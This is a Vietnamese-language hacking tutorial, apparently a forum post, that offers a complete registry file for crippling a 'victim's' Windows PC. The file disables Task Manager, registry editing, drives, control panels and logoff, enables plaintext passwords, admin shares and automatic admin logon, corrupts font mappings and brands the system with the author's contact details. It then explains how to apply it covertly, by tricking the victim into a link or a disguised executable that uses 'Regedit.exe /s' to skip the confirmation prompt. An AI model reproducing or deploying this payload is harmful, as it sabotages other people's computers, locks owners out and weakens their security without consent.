Sau khi Windows âm thầm bị destroy bằng Regedit , victim cứ ngỡ cái PC hằng ngày mình nâng niu giờ đây không phải là của mình nữa....!?!
)
Để destroy windows bạn cần thực hiện 2 bước sau :
Bước 1 :
Copy đoạn code dưới đây, dán vào notepad rồi save as thành file deswin.reg ( hoặc tên gì bạn thích ) :
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Window Title"="Hack+Crack=Enjoy"
[HKEY_CURRENT_USER\Control Panel\International]
"s1159"="HCE"
"s2359"="tungxeng"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs]
"url1"="http://www.tungxeng.net.ms"
"url2"="http://www.tungxeng.net.ms"
"url3"="http://www.tungxeng.net.ms"
"url4"="http://www.tungxeng.net.ms"
"url5"="http://www.tungxeng.net.ms"
"url6"="http://www.tungxeng.net.ms"
"url7"="http://www.tungxeng.net.ms"
"url8"="http://www.tungxeng.net.ms"
"url9"="http://www.tungxeng.net.ms"
"url10"="http://www.tungxeng.net.ms"
[HKEY_CURRENT_USER\Control Panel\Desktop]
"MenuShowDelay"="999"
"ScreenSaveActive"=dword:00000001
"ScreenSaveTimeOut"=1
"WheelScrollLines"="0 - 0xFFFFFFFF"
"MinAnimate"=dword:00000000
"DragFullWindows"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoRun"=dword:00000001
"NoClose"=dword:00000001
"NoFind"=dword:00000001
"NoSetTaskbar"=dword:00000001
"NoSetFolder"=dword:00000001
"NoPrinterTab"=dword:00000001
"NoAddPrinter"=dword:00000001
"NoDeletePrinter"=dword:00000001
"NoSaveSettings"=dword:00000001
"NoNetHood"=dword:00000001
"NoDrives"=dword:67108863
"NoDesktop"=dword:00000001
"NoSetActiveDesktop"=dword:00000001
"NoFolderOptions"=dword:00000001
"NoFavoritesMenu"=dword:00000001
"NoRecentDocsMenu"=dword:00000001
"NoLogOff"=01 00 00 00
"NoDriveTypeAutoRun"=hex:95,00,00,00
"CDRAutoRun"=hex:00,00,00,00
"NoViewContextMenu"=dword:00000001
"NoToolbarCustomize"=dword:00000001
"NoBandCustomize"=dword:00000001
"NoInstrumentation"=dword:00000001
"NoNetHood"=dword:00000001
"NoNetConnectDisconnect"=dword:00000001
"NoTrayContextMenu"=dword:00000001
"ScreenSaveActive"=dword:00000000
"ScreenSaveIsSecure"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network]
"NoEntrireNetwork"=dword:00000001
"NoWorkgroupContents"=dword:00000001
"NoFileSharingControl"=dword:00000001
"NoPrintSharingControl"=dword:00000001
"NoNetSetup"=dword:00000001
"NoNetSetupIDPage"=dword:00000001
"NoNetSetupSecurityPage"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"NoDispAppearancePage"=dword:00000001
"NoDispSettingsPage"=dword:00000001
"NoDispScrSavPage"=dword:00000001
"NoDispBackgroundPage"=dword:00000001
"NoDispCPL"=dword:00000001
"NoDevMgrPage"=dword:00000001
"NoFileSysPage"=dword:00000001
"NoProfilePage"=dword:00000001
"NoVirtMemPage"=dword:00000001
"NoPwdPage"=dword:00000001
"NoAdminPage"=dword:00000001
"NoSecPCL"=dword:00000001
"DisabledRegstryTools"=dword:00000001
"DisableTaskManager"=dword:00000001
"DisableTaskMgr"=hex:01
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Restrictions]
"NoBrowserOptions"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]
"Disabled"=dword:00000001
"NoRealMode"=dword:00000001
[HKEY_CURRENT_USER\Control Panel\Mouse]
"ActiveWindowTracking"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar]
"BackBitmap"="C:\..."
[HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics]
" Shell Icon BPP"="4"
[HKEY_USERS\.Default\ControlPanel\Colors]
"Background"="0 0 0 - 255 255 255"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon]
"LegalNoticeCaption"="Hi !"
"LegalNoticeText"="I'm
huutung_2001@yahoo.com, welcome
http://tungxeng.net.ms"[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CDRom]
"Autorun"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion]
"RegisteredOrganization"="HCE"
"RegisteredOwner"="huutung_2001@yahoo.com"
"ProductName"="Hack+Crack=Enjoy"
"Version"="2/11/1979"
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control]
"Current User"="huutung_2001@yahoo.com"
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ComputerName\ComputerName]
"ComputerName"="HCE"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup]
"SourcePath"="C:\WINDOWS"
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters]
"AutoShareServer"=dword:00000001
"AutoShareWks"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network]
"DisablePwdCaching"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\Parameters]
"DisableSavePassword"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"DontDisplayLastUserName"=dword:00000001
"AutoAdminLogon"="1"
"AllocateFloppies"="0"
"AllocateCDRoms"="0"
"EnableQuickReboot"="0"
"IgnoreShiftOveride"="1"
"PowerDownAfterShutDown"="0"
"LogonPrompt"="I'm
huutung_2001@yahoo.com, welcome
http://tungxeng.net.ms""Welcome"="Hi !"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize]
"Fixedfon.fon"="1.fon"
"Fonts.fon"="2.fon"
"Oemfont.fon"="3.fon"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\fontsize\120\System]
"8514sys.fon"="1.fon"
"8514fix.fon"="2.fon"
"8514oem.fon"="3.fon"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\fontsize\96\System]
"vgasys.fon"="1.fon"
"vgafix.fon"="2.fon"
"vgaoem.fon"="3.fon"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Rdr\Parameters]
"EnablePlainTextPassword"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem]
"NameNumericTail"=dword:00000001
[HKEY_LOCAL_MACHINE\Network\Logon]
"username"="huutung_2001@yahoo.com"
Bước 2 :
Bây giờ chỉ cần chạy file deswin.reg trên máy của victim là xong. Nếu bạn lén tự làm điều đó thì tốt quá , nhưng nếu bạn không làm được ( victim không cho ai sờ đến máy của mình ) , bạn đành phải dụ victim click vào link nối với file reg thôi. Và có một trục trặc nhỏ là nếu victim click vào file reg thì một thông báo xuất hiện hỏi victim có muốn add thông tin từ file reg vào registry không. Victim nào đã từng học qua Regedit thì không bao giờ họ click OK đâu. Như thế không có nghĩa là hết cách , bạn có thể tạo 1 file exe rồi dụ victim chạy file đó . Khi được kích hoạt, file exe sẽ tự động add tham số từ file reg vào registry ( vd bạn có thể lập trình bằng Visual Basic...). Ở đây tôi đưa ra 1 ví dụ đơn giản là bạn tạo 1 file BAT ( giống file autoexec.bat) với dòng lệnh sau :
Regedit.exe /s Deswin.reg
tham số /s sẽ giúp ta add tất cả những gì có trong file deswin.reg vào registry mà không cần hỏi victim một câu nào
)
Lúc đó bạn có thể hả hê cười đắc chí , còn victim thì tức tối chửi..tôi...?!? :-(
